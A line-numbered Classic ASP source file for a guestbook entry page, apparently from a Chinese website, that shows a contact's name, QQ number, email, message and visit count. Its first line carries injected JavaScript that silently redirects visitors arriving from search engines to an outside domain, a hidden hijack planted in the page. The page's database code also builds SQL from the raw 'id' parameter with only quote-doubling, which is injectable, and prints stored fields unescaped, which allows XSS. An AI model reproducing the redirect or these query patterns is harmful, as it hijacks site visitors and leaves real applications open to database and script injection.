d:\wwwroot\wuchunhua\ͨѶ¼\xys\xyxx.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
@LANGUAGE="VBSCRIPT"
%
>
002:
<!--#include file="Connections/conn.asp" -->
003:
<%
004:
Dim rs__MMColParam
005:
rs__MMColParam = "1"
006:
if (Request.QueryString("id") <> "") then rs__MMColParam = Request.QueryString("id")
007:
%
>
008:
<%
009:
set rs = Server.CreateObject("ADODB.Recordset")
010:
rs.ActiveConnection = MM_conn_STRING
011:
rs.Source = "SELECT * FROM xybook WHERE id = " + Replace(rs__MMColParam, "'", "''") + ""
012:
rs.CursorType = 0
013:
rs.CursorLocation = 2
014:
rs.LockType = 3
015:
rs.Open()
016:
rs_numRows = 0
017:
%
>
018:
<%
019:
'March's Page Counter
020:
if(Request("id") <> "") then
021:
if NOT (InStr(Session("marchVisited"), "," & Request("id") & "," ) >0) then
022:
Session("marchVisited") = Session("marchVisited") & "," & Request("id") & ","
023:
commCounter__id = Request("id")
024:
set commCounter = Server.CreateObject( "ADODB.Command" )
025:
commCounter.ActiveConnection = MM_conn_STRING
026:
commCounter.CommandText = "UPDATE xybook SET visit = visit + 1 WHERE id = " + Replace(commCounter__id, "'", "''")
027:
commCounter.CommandType = 1
028:
commCounter.CommandTimeout = 0
029:
commCounter.Prepared = true
030:
commCounter.Execute()
031:
end if
032:
end if
033:
%
>
034:
<html>
035:
<head>
036:
<title>Untitled Document</title>
037:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
038:
<link rel="stylesheet" href="css.css" type="text/css">
039:
</head>
040:
<body bgcolor="#FFFFFF" text="#000000" background="images/back.gif">
041:
<table width="483" border="1" cellspacing="2" cellpadding="0" align="center" class="css" bordercolor="#FFFFFF">
042:
<tr bordercolor="#000000" bgcolor="#99CCFF">
043:
<td height="13" width="34%">
044:
<%
If (rs.Fields.Item("ggormm").Value) = (1) Then 'script
%
>
045:
<img src="images/gg.gif" width="27" height="27">
046:
<%
End If ' end If (rs.Fields.Item("ggormm").Value) = (1) script
%
>
047:
<%
If (rs.Fields.Item("ggormm").Value) = (2) Then 'script
%
>
048:
<img src="images/mm.gif" width="27" height="27">
049:
<%
End If ' end If (rs.Fields.Item("ggormm").Value) = (2) script
%
>
050:
<%
=(rs.Fields.Item("xyname").Value)
%
> </td>
051:
<td height="13" width="29%"><img src="images/oicq.gif" width="16" height="16">
052:
<%
If (rs.Fields.Item("qq").Value) = ("") Then 'script
%
>
053:
ÎÞ
054:
<%
End If ' end If (rs.Fields.Item("qq").Value) = ("") script
%
>
055:
<%
=(rs.Fields.Item("qq").Value)
%
> </td>
056:
<td height="13" width="37%"><img src="images/email.gif" width="16" height="16">
057:
<a href="mailto:
<%
=(rs.Fields.Item("email").Value)
%
>">
<%
=(rs.Fields.Item("email").Value)
%
></a>
058:
<%
If (rs.Fields.Item("email").Value) = ("") Then 'script
%
>
059:
ÎÞ
060:
<%
End If ' end If (rs.Fields.Item("email").Value) = ("") script
%
>
061:
</td>
062:
</tr>
063:
<tr bordercolor="#000000" valign="top">
064:
<td height="57" colspan="3"><img src="images/wave.gif" width="16" height="16"><br>
065:
<%
=(rs.Fields.Item("neiyong").Value)
%
></td>
066:
</tr>
067:
<tr bordercolor="#000000">
068:
<td height="19" colspan="3" bgcolor="#99CCFF">
069:
<div align="right"><img src="images/foot.gif" width="16" height="16">
<%
=(rs.Fields.Item("xydate").Value)
%
> ²é¿´´ÎÊý£º<font color="#FF0000">
<%
=(rs.Fields.Item("visit").Value)
%
></font>´Î</div>
070:
</td>
071:
</tr>
072:
</table>
073:
</body>
074:
</html>
075:
<%
076:
rs.Close()
077:
%
>
078:
079:
080: